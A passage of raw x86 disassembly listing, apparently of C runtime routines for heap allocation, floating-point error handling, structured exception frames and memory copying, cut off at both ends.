ecx mov ecx, [eax] mov eax, [eax+4] push eax retn sub_417B30 endp ; =============== S U B R O U T I N E ======================================= sub_417B5F proc near ; CODE XREF: sub_4029E9+7Ap ; sub_4029E9+8Ap ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_0] mov ecx, eax cmp word ptr [eax], 0 jz short loc_417B73 loc_417B6B: ; CODE XREF: sub_417B5F+12j inc ecx inc ecx cmp word ptr [ecx], 0 jnz short loc_417B6B loc_417B73: ; CODE XREF: sub_417B5F+Aj mov edx, [esp+arg_4] push esi loc_417B78: ; CODE XREF: sub_417B5F+26j mov si, [edx] mov [ecx], si inc ecx inc ecx inc edx inc edx test si, si jnz short loc_417B78 pop esi retn sub_417B5F endp ; =============== S U B R O U T I N E ======================================= sub_417B89 proc near ; CODE XREF: sub_402B84+220p ; sub_402DD7+C1p ... arg_0 = dword ptr 4 push dword_48A074 push [esp+4+arg_0] call sub_417B9B pop ecx pop ecx retn sub_417B89 endp ; =============== S U B R O U T I N E ======================================= sub_417B9B proc near ; CODE XREF: sub_417B89+Ap ; sub_4185F5+6p arg_0 = dword ptr 4 arg_4 = dword ptr 8 cmp [esp+arg_0], 0FFFFFFE0h ja short loc_417BC4 loc_417BA2: ; CODE XREF: sub_417B9B+27j push [esp+arg_0] call sub_417BC7 test eax, eax pop ecx jnz short locret_417BC6 cmp [esp+arg_4], eax jz short locret_417BC6 push [esp+arg_0] call sub_41AB54 test eax, eax pop ecx jnz short loc_417BA2 loc_417BC4: ; CODE XREF: sub_417B9B+5j xor eax, eax locret_417BC6: ; CODE XREF: sub_417B9B+13j ; sub_417B9B+19j retn sub_417B9B endp ; =============== S U B R O U T I N E ======================================= sub_417BC7 proc near ; CODE XREF: sub_417B9B+Bp arg_0 = dword ptr 4 mov eax, dword_48B688 push esi mov esi, [esp+4+arg_0] cmp eax, 3 jnz short loc_417BEB cmp esi, dword_48B680 ja short loc_417C1D push esi call sub_41B0DD test eax, eax pop ecx jz short loc_417C1D pop esi retn ; --------------------------------------------------------------------------- loc_417BEB: ; CODE XREF: sub_417BC7+Dj cmp eax, 2 jnz short loc_417C1D mov eax, [esp+4+arg_0] test eax, eax jz short loc_417C00 lea esi, [eax+0Fh] and esi, 0FFFFFFF0h jmp short loc_417C03 ; --------------------------------------------------------------------------- loc_417C00: ; CODE XREF: sub_417BC7+2Fj push 10h pop esi loc_417C03: ; CODE XREF: sub_417BC7+37j cmp esi, dword_43B7E4 ja short loc_417C2A mov eax, esi shr eax, 4 push eax call sub_41BB80 test eax, eax pop ecx jnz short loc_417C39 jmp short loc_417C2A ; --------------------------------------------------------------------------- loc_417C1D: ; CODE XREF: sub_417BC7+15j ; sub_417BC7+20j ... test esi, esi jnz short loc_417C24 push 1 pop esi loc_417C24: ; CODE XREF: sub_417BC7+58j add esi, 0Fh and esi, 0FFFFFFF0h loc_417C2A: ; CODE XREF: sub_417BC7+42j ; sub_417BC7+54j push esi push 0 push dword_48B684 nop call near ptr 2700000h loc_417C39: ; CODE XREF: sub_417BC7+52j pop esi retn sub_417BC7 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_417C3B proc near ; CODE XREF: sub_402DD7+10Ep ; sub_402DD7+116p ... var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push esi mov esi, [ebp+arg_0] test esi, esi jz short loc_417CA1 mov eax, dword_48B688 cmp eax, 3 jnz short loc_417C67 push esi call sub_41AD89 pop ecx test eax, eax push esi jz short loc_417C93 push eax call sub_41ADB4 pop ecx pop ecx jmp short loc_417CA1 ; --------------------------------------------------------------------------- loc_417C67: ; CODE XREF: sub_417C3B+14j cmp eax, 2 jnz short loc_417C92 lea eax, [ebp+arg_0] push eax lea eax, [ebp+var_4] push eax push esi call sub_41BAE4 add esp, 0Ch test eax, eax jz short loc_417C92 push eax push [ebp+arg_0] push [ebp+var_4] call sub_41BB3B add esp, 0Ch jmp short loc_417CA1 ; --------------------------------------------------------------------------- loc_417C92: ; CODE XREF: sub_417C3B+2Fj ; sub_417C3B+44j push esi loc_417C93: ; CODE XREF: sub_417C3B+20j push 0 push dword_48B684 nop call near ptr 26F0000h loc_417CA1: ; CODE XREF: sub_417C3B+Aj ; sub_417C3B+2Aj ... pop esi leave retn sub_417C3B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_417CA4(double) sub_417CA4 proc near ; CODE XREF: sub_403FE6+38p var_24 = qword ptr -24h var_18 = qword ptr -18h var_8 = qword ptr -8 arg_0 = qword ptr 8 push ebp mov ebp, esp push ecx push ecx push ebx push esi mov esi, 0FFFFh push esi push dword_439560 call sub_41C77D fld [ebp+arg_0] pop ecx mov ebx, eax mov eax, dword ptr [ebp+arg_0+6] pop ecx push ecx and ax, 7FF0h push ecx cmp ax, 7FF0h fstp [esp+18h+var_18] jnz short loc_417D2A call sub_41C645 pop ecx test eax, eax pop ecx jle short loc_417D0D cmp eax, 2 jle short loc_417CFF cmp eax, 3 jnz short loc_417D0D fld [ebp+arg_0] push ebx push ecx ; int push ecx fstp qword ptr [esp] push 0Bh ; double call sub_41BF55 add esp, 10h jmp short loc_417D6F ; --------------------------------------------------------------------------- loc_417CFF: ; CODE XREF: sub_417CA4+3Fj push esi push ebx call sub_41C77D fld [ebp+arg_0] pop ecx pop ecx jmp short loc_417D6F ; --------------------------------------------------------------------------- loc_417D0D: ; CODE XREF: sub_417CA4+3Aj ; sub_417CA4+44j fld [ebp+arg_0] fadd dbl_4246A8 push ebx push ecx ; double push ecx fstp qword ptr [esp] fld [ebp+arg_0] push ecx push ecx fstp [esp+24h+var_24] push 0Bh push 8 jmp short loc_417D67 ; --------------------------------------------------------------------------- loc_417D2A: ; CODE XREF: sub_417CA4+2Fj call sub_41C60A fstp [ebp+var_8] fld [ebp+var_8] fcomp [ebp+arg_0] pop ecx pop ecx fnstsw ax sahf jnz short loc_417D4D loc_417D3F: ; CODE XREF: sub_417CA4+ACj push esi push ebx call sub_41C77D fld [ebp+var_8] pop ecx pop ecx jmp short loc_417D6F ; --------------------------------------------------------------------------- loc_417D4D: ; CODE XREF: sub_417CA4+99j test bl, 20h jnz short loc_417D3F fld [ebp+var_8] push ebx ; int push ecx push ecx ; double fstp qword ptr [esp] fld [ebp+arg_0] push ecx push ecx ; double fstp [esp+24h+var_24] push 0Bh ; int push 10h ; int loc_417D67: ; CODE XREF: sub_417CA4+84j call sub_41BFA8 add esp, 1Ch loc_417D6F: ; CODE XREF: sub_417CA4+59j ; sub_417CA4+67j ... pop esi pop ebx leave retn sub_417CA4 endp ; =============== S U B R O U T I N E ======================================= sub_417D73 proc near ; CODE XREF: ___:00419AC1p ; DATA XREF: ___:off_43956Co call sub_417D8B call sub_41C846 mov dword_489FF4, eax call sub_41C7F6 fnclex retn sub_417D73 endp ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_2. PRESS KEYPAD "+" TO EXPAND] ; =============== S U B R O U T I N E ======================================= sub_417D8B proc near ; CODE XREF: sub_417D73p mov eax, offset sub_41CC34 mov off_43B904, offset sub_41C8C9 mov off_43B900, eax mov off_43B908, offset sub_41C92F mov off_43B90C, offset sub_41C86F mov off_43B910, offset sub_41C917 mov off_43B914, eax retn sub_417D8B endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_417DC4 proc near ; CODE XREF: sub_403FE6+1Bp ; sub_403FE6+44p ... var_C = qword ptr -0Ch var_4 = word ptr -4 var_2 = word ptr -2 push ebp mov ebp, esp add esp, 0FFFFFFF4h fstcw [ebp+var_2] wait mov ax, [ebp+var_2] or ah, 0Ch mov [ebp+var_4], ax fldcw [ebp+var_4] fistp [ebp+var_C] fldcw [ebp+var_2] mov eax, dword ptr [ebp+var_C] mov edx, dword ptr [ebp+var_C+4] leave retn sub_417DC4 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_417DEB(double) sub_417DEB proc near ; CODE XREF: sub_404032+82p ; ___:00404CF0p var_24 = qword ptr -24h var_18 = qword ptr -18h var_8 = qword ptr -8 arg_0 = qword ptr 8 push ebp mov ebp, esp push ecx push ecx push ebx push esi mov esi, 0FFFFh push esi push dword_439578 call sub_41C77D fld [ebp+arg_0] pop ecx mov ebx, eax mov eax, dword ptr [ebp+arg_0+6] pop ecx push ecx and ax, 7FF0h push ecx cmp ax, 7FF0h fstp [esp+18h+var_18] jnz short loc_417E71 call sub_41C645 pop ecx test eax, eax pop ecx jle short loc_417E54 cmp eax, 2 jle short loc_417E46 cmp eax, 3 jnz short loc_417E54 fld [ebp+arg_0] push ebx push ecx ; int push ecx fstp qword ptr [esp] push 0Ch ; double call sub_41BF55 add esp, 10h jmp short loc_417EB6 ; --------------------------------------------------------------------------- loc_417E46: ; CODE XREF: sub_417DEB+3Fj push esi push ebx call sub_41C77D fld [ebp+arg_0] pop ecx pop ecx jmp short loc_417EB6 ; --------------------------------------------------------------------------- loc_417E54: ; CODE XREF: sub_417DEB+3Aj ; sub_417DEB+44j fld [ebp+arg_0] fadd dbl_4246A8 push ebx push ecx ; double push ecx fstp qword ptr [esp] fld [ebp+arg_0] push ecx push ecx fstp [esp+24h+var_24] push 0Ch push 8 jmp short loc_417EAE ; --------------------------------------------------------------------------- loc_417E71: ; CODE XREF: sub_417DEB+2Fj call sub_41C60A fstp [ebp+var_8] fld [ebp+var_8] fcomp [ebp+arg_0] pop ecx pop ecx fnstsw ax sahf jnz short loc_417E94 loc_417E86: ; CODE XREF: sub_417DEB+ACj push esi push ebx call sub_41C77D fld [ebp+var_8] pop ecx pop ecx jmp short loc_417EB6 ; --------------------------------------------------------------------------- loc_417E94: ; CODE XREF: sub_417DEB+99j test bl, 20h jnz short loc_417E86 fld [ebp+var_8] push ebx ; int push ecx push ecx ; double fstp qword ptr [esp] fld [ebp+arg_0] push ecx push ecx ; double fstp [esp+24h+var_24] push 0Ch ; int push 10h ; int loc_417EAE: ; CODE XREF: sub_417DEB+84j call sub_41BFA8 add esp, 1Ch loc_417EB6: ; CODE XREF: sub_417DEB+59j ; sub_417DEB+67j ... pop esi pop ebx leave retn sub_417DEB endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_417EBA proc near ; CODE XREF: ___:0041D116p var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push ebx push esi push edi mov eax, [ebp+arg_4] add eax, 0Ch mov [ebp+var_4], eax mov ebx, large fs:0 mov eax, [ebx] mov large fs:0, eax mov eax, [ebp+arg_0] mov ebx, [ebp+arg_4] mov esp, [ebx-4] mov ebp, [ebp+var_4] jmp eax sub_417EBA endp ; --------------------------------------------------------------------------- pop edi pop esi pop ebx leave retn 8 ; =============== S U B R O U T I N E ======================================= sub_417EEE proc near ; CODE XREF: sub_41D256+199p ; sub_41D41A+3Ep arg_4 = dword ptr 8 pop eax pop ecx xchg eax, [esp-8+arg_4] jmp eax sub_417EEE endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_417EF5 proc near ; CODE XREF: sub_41D256+17Fp arg_4 = dword ptr 8 pop eax pop ecx xchg eax, [esp-8+arg_4] jmp eax sub_417EF5 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn bp-based frame sub_417EFC proc near ; CODE XREF: sub_4180AE+5Cp ; sub_41D0A5:loc_41D0D6p var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push ecx push ebx push esi push edi mov eax, large fs:0 mov [ebp+var_8], eax mov [ebp+var_4], offset loc_417F24 push 0 push [ebp+arg_4] push [ebp+var_4] push [ebp+arg_0] call sub_422A4C sub_417EFC endp ; --------------------------------------------------------------------------- loc_417F24: ; DATA XREF: sub_417EFC+11o mov eax, [ebp+0Ch] mov eax, [eax+4] and al, 0FDh mov ecx, [ebp+0Ch] mov [ecx+4], eax mov eax, large fs:0 mov ebx, [ebp-8] mov [ebx], eax mov large fs:0, ebx pop edi pop esi pop ebx leave retn 8 ; --------------------------------------------------------------------------- loc_417F4B: ; CODE XREF: ___:004230ECj ; ___:00423109j ... push ebp mov ebp, esp sub esp, 4 push ebx push esi push edi cld mov [ebp-4], eax xor eax, eax push eax push eax push eax push dword ptr [ebp-4] push dword ptr [ebp+14h] push dword ptr [ebp+10h] push dword ptr [ebp+0Ch] push dword ptr [ebp+8] call sub_41CCAA add esp, 20h mov [ebp+14h], eax pop edi pop esi pop ebx mov eax, [ebp+14h] mov esp, ebp pop ebp retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_417F81 proc near ; CODE XREF: sub_41D120+73p var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp sub esp, 14h mov eax, [ebp+arg_4] and [ebp+var_14], 0 mov ecx, [ebp+arg_0] mov [ebp+var_C], eax mov eax, [ebp+arg_C] mov [ebp+var_10], offset sub_417FD5 inc eax mov [ebp+var_8], ecx mov [ebp+var_4], eax mov eax, large fs:0 mov [ebp+var_14], eax lea eax, [ebp+var_14] mov large fs:0, eax push [ebp+arg_10] push ecx push [ebp+arg_8] call sub_41D4B0 mov ecx, eax mov eax, [ebp+var_14] mov large fs:0, eax mov eax, ecx leave retn sub_417F81 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_417FD5 proc near ; DATA XREF: sub_417F81+16o arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp cld mov eax, [ebp+arg_4] push 0 push eax push dword ptr [eax+10h] push dword ptr [eax+8] push 0 push [ebp+arg_8] push dword ptr [eax+0Ch] push [ebp+arg_0] call sub_41CCAA add esp, 20h pop ebp retn sub_417FD5 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_417FFA proc near ; CODE XREF: sub_41CEEC+25p var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h push ebp mov ebp, esp sub esp, 34h push ebx push esi push edi and [ebp+var_28], 0 mov [ebp+var_24], offset sub_4180AE mov eax, [ebp+arg_10] mov [ebp+var_20], eax mov eax, [ebp+arg_4] mov [ebp+var_1C], eax mov eax, [ebp+arg_14] mov [ebp+var_18], eax mov eax, [ebp+arg_18] mov [ebp+var_14], eax and [ebp+var_10], 0 and [ebp+var_C], 0 and [ebp+var_8], 0 and [ebp+var_4], 0 mov [ebp+var_10], offset loc_418080 mov [ebp+var_C], esp mov [ebp+var_8], ebp mov eax, large fs:0 mov [ebp+var_28], eax lea eax, [ebp+var_28] mov large fs:0, eax mov [ebp+var_34], 1 mov eax, [ebp+arg_0] mov [ebp+var_30], eax mov eax, [ebp+arg_8] mov [ebp+var_2C], eax lea eax, [ebp+var_30] push eax mov eax, [ebp+arg_0] push dword ptr [eax] call dword_48A098 pop ecx pop ecx and [ebp+var_34], 0 loc_418080: ; DATA XREF: sub_417FFA+3Co cmp [ebp+var_4], 0 jz short loc_41809D mov ebx, large fs:0 mov eax, [ebx] mov ebx, [ebp+var_28] mov [ebx], eax mov large fs:0, ebx jmp short loc_4180A6 ; --------------------------------------------------------------------------- loc_41809D: ; CODE XREF: sub_417FFA+8Aj mov eax, [ebp+var_28] mov large fs:0, eax loc_4180A6: ; CODE XREF: sub_417FFA+A1j mov eax, [ebp+var_34] pop edi pop esi pop ebx leave retn sub_417FFA endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4180AE proc near ; DATA XREF: sub_417FFA+Do arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ebx push esi push edi cld mov eax, [ebp+arg_0] mov eax, [eax+4] and eax, 66h test eax, eax jz short loc_4180D1 mov eax, [ebp+arg_4] mov dword ptr [eax+24h], 1 push 1 pop eax jmp short loc_41811E ; --------------------------------------------------------------------------- loc_4180D1: ; CODE XREF: sub_4180AE+12j push 1 mov eax, [ebp+arg_4] push dword ptr [eax+14h] mov eax, [ebp+arg_4] push dword ptr [eax+10h] mov eax, [ebp+arg_4] push dword ptr [eax+8] push 0 push [ebp+arg_8] mov eax, [ebp+arg_4] push dword ptr [eax+0Ch] push [ebp+arg_0] call sub_41CCAA add esp, 20h mov eax, [ebp+arg_4] cmp dword ptr [eax+24h], 0 jnz short loc_41810F push [ebp+arg_0] push [ebp+arg_4] call sub_417EFC ; --------------------------------------------------------------------------- loc_41810F: ; CODE XREF: sub_4180AE+54j mov ebx, [ebp+arg_4] mov esp, [ebx+1Ch] mov ebp, [ebx+20h] jmp dword ptr [ebx+18h] ; --------------------------------------------------------------------------- push 1 pop eax loc_41811E: ; CODE XREF: sub_4180AE+21j pop edi pop esi pop ebx pop ebp retn sub_4180AE endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_418123 proc near ; CODE XREF: sub_41CD45+C6p ; sub_41CEEC+43p var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp push ecx push ebx push esi cmp [ebp+arg_4], 0 push edi mov edi, [ebp+arg_0] mov esi, [edi+0Ch] mov ebx, [edi+10h] mov eax, esi mov [ebp+arg_0], esi mov [ebp+var_4], eax jl short loc_41817A loc_418141: ; CODE XREF: sub_418123+52j cmp esi, 0FFFFFFFFh jnz short loc_41814B call sub_41D552 loc_41814B: ; CODE XREF: sub_418123+21j mov ecx, [ebp+arg_8] dec esi lea eax, [esi+esi*4] cmp [ebx+eax*4+4], ecx lea eax, [ebx+eax*4] jge short loc_418160 cmp ecx, [eax+8] jle short loc_418165 loc_418160: ; CODE XREF: sub_418123+36j cmp esi, 0FFFFFFFFh jnz short loc_418171 loc_418165: ; CODE XREF: sub_418123+3Bj mov eax, [ebp+arg_0] dec [ebp+arg_4] mov [ebp+var_4], eax mov [ebp+arg_0], esi loc_418171: ; CODE XREF: sub_418123+40j cmp [ebp+arg_4], 0 jge short loc_418141 mov eax, [ebp+var_4] loc_41817A: ; CODE XREF: sub_418123+1Cj mov ecx, [ebp+arg_C] inc esi mov [ecx], esi mov ecx, [ebp+arg_10] mov [ecx], eax cmp eax, [edi+0Ch] ja short loc_41818E cmp esi, eax jbe short loc_418193 loc_41818E: ; CODE XREF: sub_418123+65j call sub_41D552 loc_418193: ; CODE XREF: sub_418123+69j lea eax, [esi+esi*4] pop edi pop esi lea eax, [ebx+eax*4] pop ebx leave retn sub_418123 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn bp-based frame sub_4181A0 proc near ; CODE XREF: sub_41F774+5Ap arg_0 = dword ptr 8 push ebp mov ebp, esp push ebx push esi push edi push ebp push 0 push 0 push offset sub_4181B8 push [ebp+arg_0] call sub_422A4C sub_4181A0 endp ; =============== S U B R O U T I N E ======================================= sub_4181B8 proc near ; DATA XREF: sub_4181A0+Bo pop ebp pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_4181B8 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_4181C0 proc near ; DATA XREF: sub_4181E2+Ao ; sub_41824A+9o arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_C = dword ptr 10h mov ecx, [esp+arg_0] test dword ptr [ecx+4], 6 mov eax, 1 jz short locret_4181E1 mov eax, [esp+arg_4] mov edx, [esp+arg_C] mov [edx], eax mov eax, 3 locret_4181E1: ; CODE XREF: sub_4181C0+10j retn sub_4181C0 endp ; =============== S U B R O U T I N E ======================================= sub_4181E2 proc near ; CODE XREF: sub_41D1C6+Dp ; sub_41F774+67p ... var_14 = dword ptr -14h arg_0 = dword ptr 4 arg_4 = dword ptr 8 push ebx push esi push edi mov eax, [esp+0Ch+arg_0] push eax push 0FFFFFFFEh push offset sub_4181C0 push large dword ptr fs:0 mov large fs:0, esp loc_4181FF: ; CODE XREF: sub_4181E2:loc_41823Aj mov eax, [esp+1Ch+arg_0] mov ebx, [eax+8] mov esi, [eax+0Ch] cmp esi, 0FFFFFFFFh jz short loc_41823C cmp esi, [esp+1Ch+arg_4] jz short loc_41823C lea esi, [esi+esi*2] mov ecx, [ebx+esi*4] mov [esp+1Ch+var_14], ecx mov [eax+0Ch], ecx cmp dword ptr [ebx+esi*4+4], 0 jnz short loc_41823A push 101h mov eax, [ebx+esi*4+8] call sub_418276 call dword ptr [ebx+esi*4+8] loc_41823A: ; CODE XREF: sub_4181E2+44j jmp short loc_4181FF ; --------------------------------------------------------------------------- loc_41823C: ; CODE XREF: sub_4181E2+2Aj ; sub_4181E2+30j pop large dword ptr fs:0 add esp, 0Ch pop edi pop esi pop ebx retn sub_4181E2 endp ; =============== S U B R O U T I N E ======================================= sub_41824A proc near ; CODE XREF: sub_41D1E6+37p xor eax, eax mov ecx, large fs:0 cmp dword ptr [ecx+4], offset sub_4181C0 jnz short locret_41826C mov edx, [ecx+0Ch] mov edx, [edx+0Ch] cmp [ecx+8], edx jnz short locret_41826C mov eax, 1 locret_41826C: ; CODE XREF: sub_41824A+10j ; sub_41824A+1Bj retn sub_41824A endp ; =============== S U B R O U T I N E ======================================= sub_41826D proc near ; CODE XREF: sub_41D4B0+1Ep ; sub_41D4B0+40p push ebx push ecx mov ebx, offset dword_43957C jmp short loc_418280 sub_41826D endp ; =============== S U B R O U T I N E ======================================= sub_418276 proc near ; CODE XREF: sub_4181E2+4Fp ; sub_41F774+78p push ebx push ecx mov ebx, offset dword_43957C mov ecx, [ebp+8] loc_418280: ; CODE XREF: sub_41826D+7j mov [ebx+8], ecx mov [ebx+4], eax mov [ebx+0Ch], ebp pop ecx pop ebx retn 4 sub_418276 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_418290 proc near ; CODE XREF: sub_404032+5p ; sub_4041D4+5p ... push 0FFFFFFFFh push eax mov eax, large fs:0 push eax mov eax, [esp+0Ch] mov large fs:0, esp mov [esp+0Ch], ebp lea ebp, [esp+0Ch] push eax retn sub_418290 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_4182AF proc near ; CODE XREF: sub_404667+26p ; ___:004227E2p ... arg_0 = dword ptr 4 push [esp+arg_0] call sub_417C3B pop ecx retn sub_4182AF endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4182C0 proc near ; CODE XREF: sub_4046D8+3Ap ; sub_41ADB4+2EFp ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push edi push esi mov esi, [ebp+arg_4] mov ecx, [ebp+arg_8] mov edi, [ebp+arg_0] mov eax, ecx mov edx, ecx add eax, esi cmp edi, esi jbe short loc_4182E0 cmp edi, eax jb loc_418458 loc_4182E0: ; CODE XREF: sub_4182C0+16j test edi, 3 jnz short loc_4182FC shr ecx, 2 and edx, 3 cmp ecx, 8 jb short loc_41831C rep movsd jmp off_418408[edx*4] ; --------------------------------------------------------------------------- loc_4182FC: ; CODE XREF: sub_4182C0+26j mov eax, edi mov edx, 3 sub ecx, 4 jb short loc_418314 and eax, 3 add ecx, eax jmp dword ptr loc_41831C+4[eax*4] ; --------------------------------------------------------------------------- loc_418314: ; CODE XREF: sub_4182C0+46j jmp dword ptr loc_418418[ecx*4] ; --------------------------------------------------------------------------- align 4 loc_41831C: ; CODE XREF: sub_4182C0+31j ; sub_4182C0+8Ej ... jmp off_41839C[ecx*4] ; --------------------------------------------------------------------------- align 4 dd offset loc_41832C+4 dd offset loc_41835C ; --------------------------------------------------------------------------- loc_41832C: ; DATA XREF: sub_4182C0+64o add byte ptr [ebx-2EDCFFBFh], 8Ah push es mov [edi], al mov al, [esi+1] mov [edi+1], al mov al, [esi+2] shr ecx, 2 mov [edi+2], al add esi, 3 add edi, 3 cmp ecx, 8 jb short loc_41831C rep movsd jmp off_418408[edx*4] ; --------------------------------------------------------------------------- align 4 loc_41835C: ; DATA XREF: sub_4182C0+68o and edx, ecx mov al, [esi] mov [edi], al mov al, [esi+1] shr ecx, 2 mov [edi+1], al add esi, 2 add edi, 2 cmp ecx, 8 jb short loc_41831C rep movsd jmp off_418408[edx*4] ; --------------------------------------------------------------------------- align 10h and edx, ecx mov al, [esi] mov [edi], al inc esi shr ecx, 2 inc edi cmp ecx, 8 jb short loc_41831C rep movsd jmp off_418408[edx*4] ; --------------------------------------------------------------------------- align 4 off_41839C dd offset loc_4183FF ; DATA XREF: sub_4182C0:loc_41831Cr dd offset loc_4183EC dd offset loc_4183E4 dd offset loc_4183DC dd offset loc_4183D4 dd offset loc_4183CC dd offset loc_4183C4 dd offset loc_4183BC ; --------------------------------------------------------------------------- loc_4183BC: ; CODE XREF: sub_4182C0:loc_41831Cj ; DATA XREF: sub_4182C0+F8o mov eax, [esi+ecx*4-1Ch] mov [edi+ecx*4-1Ch], eax loc_4183C4: ; CODE XREF: sub_4182C0:loc_41831Cj ; DATA XREF: sub_4182C0+F4o mov eax, [esi+ecx*4-18h] mov [edi+ecx*4-18h], eax loc_4183CC: ; CODE XREF: sub_4182C0:loc_41831Cj ; DATA XREF: sub_4182C0+F0o mov eax, [esi+ecx*4-14h] mov [edi+ecx*4-14h], eax loc_4183D4: ; CODE XREF: sub_4182C0:loc_41831Cj ; DATA XREF: sub_4182C0+ECo mov eax, [esi+ecx*4-10h] mov [edi+ecx*4-10h], eax loc_4183DC: ; CODE XREF: sub_4182C0:loc_41831Cj ; DATA XREF: sub_4182C0+E8o mov eax, [esi+ecx*4-0Ch] mov [edi+ecx*4-0Ch], eax loc_4183E4: ; CODE XREF: sub_4182C0:loc_41831Cj ; DATA XREF: sub_4182C0+E4o mov eax, [esi+ecx*4-8] mov [edi+ecx*4-8], eax loc_4183EC: ; CODE XREF: sub_4182C0:loc_41831Cj ; DATA XREF: sub_4182C0+E0o mov eax, [esi+ecx*4-4] mov [edi+ecx*4-4], eax lea eax, ds:0[ecx*4] add esi, eax add edi, eax loc_4183FF: ; CODE XREF: sub_4182C0:loc_41831Cj ; DATA XREF: sub_4182C0:off_41839Co jmp off_418408[edx*4] ; --------------------------------------------------------------------------- align 4 off_418408 dd offset loc_418418 ; DATA XREF: sub_4182C0+35r ; sub_4182C0+92r ... dd offset loc_418420 dd offset loc_41842C dd offset loc_418440 ; --------------------------------------------------------------------------- loc_418418: ; CODE XREF: sub_4182C0+35j ; sub_4182C0+92j ... mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 10h loc_418420: ; CODE XREF: sub_4182C0+35j ; sub_4182C0+92j ... mov al, [esi] mov [edi], al mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 4 loc_41842C: ; CODE XREF: sub_4182C0+35j ; sub_4182C0+92j ... mov al, [esi] mov [edi], al mov al, [esi+1] mov [edi+1], al mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 10h loc_418440: ; CODE XREF: sub_4182C0+35j ; sub_4182C0+92j ... mov al, [esi] mov [edi], al mov al, [esi+1] mov [edi+1], al mov al, [esi+2] mov [edi+2], al mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 4 loc_418458: ; CODE XREF: sub_4182C0+1Aj lea esi, [ecx+esi-4] lea edi, [ecx+edi-4] test edi, 3 jnz short loc_41848C shr ecx, 2 and edx, 3 cmp ecx, 8 jb short loc_418480 std rep movsd cld jmp off_4185A0[edx*4] ; --------------------------------------------------------------------------- align 10h loc_418480: ; CODE XREF: sub_4182C0+1B1j ; sub_4182C0+208j ... neg ecx jmp off_418550[ecx*4] ; --------------------------------------------------------------------------- align 4 loc_41848C: ; CODE XREF: sub_4182C0+1A6j mov eax, edi mov edx, 3 cmp ecx, 4 jb short loc_4184A4 and eax, 3 sub ecx, eax jmp dword ptr loc_4184A4+4[eax*4] ; --------------------------------------------------------------------------- loc_4184A4: ; CODE XREF: sub_4182C0+1D6j ; DATA XREF: sub_4182C0+1DDr jmp off_4185A0[ecx*4] ; --------------------------------------------------------------------------- align 4 dd offset loc_4184B7+1 ; --------------------------------------------------------------------------- fadd dword ptr [ecx+eax*2+41850000h] loc_4184B7: ; DATA XREF: sub_4182C0+1ECo add [edx-2EDCFCBAh], cl mov [edi+3], al dec esi shr ecx, 2 dec edi cmp ecx, 8 jb short loc_418480 std rep movsd cld jmp off_4185A0[edx*4] ; --------------------------------------------------------------------------- align 4 mov al, [esi+3] and edx, ecx mov [edi+3], al mov al, [esi+2] shr ecx, 2 mov [edi+2], al sub esi, 2 sub edi, 2 cmp ecx, 8 jb short loc_418480 std rep movsd cld jmp off_4185A0[edx*4] ; --------------------------------------------------------------------------- align 10h mov al, [esi+3] and edx, ecx mov [edi+3], al mov al, [esi+2] mov [edi+2], al mov al, [esi+1] shr ecx, 2 mov [edi+1], al sub esi, 3 sub edi, 3 cmp ecx, 8 jb 